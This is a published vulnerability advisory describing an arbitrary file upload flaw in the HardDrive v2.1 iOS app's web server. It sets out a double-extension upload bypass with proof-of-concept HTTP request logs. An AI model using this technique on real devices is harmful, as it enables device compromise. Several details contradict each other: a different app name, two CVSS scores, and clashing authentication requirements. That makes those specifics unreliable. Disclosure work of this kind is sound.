HardDrive v2.1 iOS - Arbitrary File Upload Vulnerability

Document Title:
===============
HardDrive v2.1 iOS - Arbitrary File Upload Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2221


Release Date:
=============
2020-04-28


Vulnerability Laboratory ID (VL-ID):
====================================
2221


Common Vulnerability Scoring System:
====================================
7.4


Vulnerability Class:
====================
Arbitrary File Upload


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Store+Organize+Edit+Protect+Import+Download+View+Share your files right from your iPhone! Transform your 
iPhone/iPod touch into a real HardDrive with no extra cable or software.

(Copy of the Homepage: https://apps.apple.com/ch/app/harddrive/id383226784 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an arbitrary file upload vulnerability in the official Air Sender v1.0.2 mobile ios web-application.


Affected Product(s):
====================
Sebastien BUET
HardDrive v2.1 - Apple iOS Mobile Web Application



Vulnerability Disclosure Timeline:
==================================
2020-04-29: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
An arbitrary file upload web vulnerability has been discovered in the official Air Sender v1.0.2 iOS mobile application. 
The web vulnerability allows remote attackers to upload arbitrary files to compromise for example the file system of a service.

The arbitrary upload vulnerability is located in the within the web-server configuration when using the upload module.
Remote attackers are able to bypass the local web-server configuration by an upload of malicious webshells. Attackers 
are able to inject own files with malicious `filen` values in the `upload` POST method request to compromise the 
mobile web-application. The application does not perform checks for multiple file extensions. Thus allows an attacker 
to upload for example to upload a html.js.png file. After the upload the attacker requests the original url source 
with the uploaded file and removes the unwanted extension to execute the code in the unprotected web-frontend.

The security risk of the vulnerability is estimated as high with a common vulnerability scoring system count of 7.0. 
Exploitation of the web vulnerability requires a low privilege ftp application user account and no user interaction. 
Successful exploitation of the arbitrary file upload web vulnerability results in application or device compromise.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] ./upload

Vulnerable File(s):
[+] file


Proof of Concept (PoC):
=======================
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged user accounts.
For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.


PoC: Vulnerable Source (File Dir Listing Index)
<tr><td width="100px" valign="middle" align="left"><img src="exploit.html"></td><td width="300px" valign="middle" align="left">
<a href="exploit.html.js">exploit.html.js</a></td> <td width="454px" valign="middle" align="left">
<em valign="middle" align="center">size: 256.7 Kb


PoC: Exploitation
http://localhost:50071/exploit.html.js


--- PoC Session Logs [POST] --- (file)
http://localhost:50071/
Host: localhost:50071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9331569428946906291010349387
Content-Length: 263181
Origin: http://localhost:50071
Connection: keep-alive
Referer: http://localhost:50071/
file=exploit.html.js.png&button=Submit
POST: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 381654
-
http://localhost:50071/exploit.html.js
Host: localhost:50071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
-
http://localhost:50071/exploit.html
GET: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 366735


Security Risk:
==============
The security risk of the arbitrary file upload web vulnerability in the wifi ui of the mobile application is estimated as high.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™